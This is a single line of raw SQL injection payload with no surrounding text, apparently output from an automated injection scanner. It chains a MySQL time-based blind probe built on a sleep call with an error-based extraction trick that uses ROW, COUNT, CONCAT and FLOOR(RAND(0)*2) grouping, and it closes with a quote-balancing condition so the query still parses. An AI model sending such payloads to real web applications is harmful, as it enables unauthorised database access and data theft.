(select(0)from(select(sleep(8.11)))v)/" OR ROW(3423,1478)>(SELECT COUNT(*),CONCAT(0x716a786a71,(SELECT (ELT(3423=3423,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM (SELECT 2302 UNION SELECT 9575 UNION SELECT 5525 UNION SELECT 4282)a GROUP BY x) AND "hkcn"="hkcn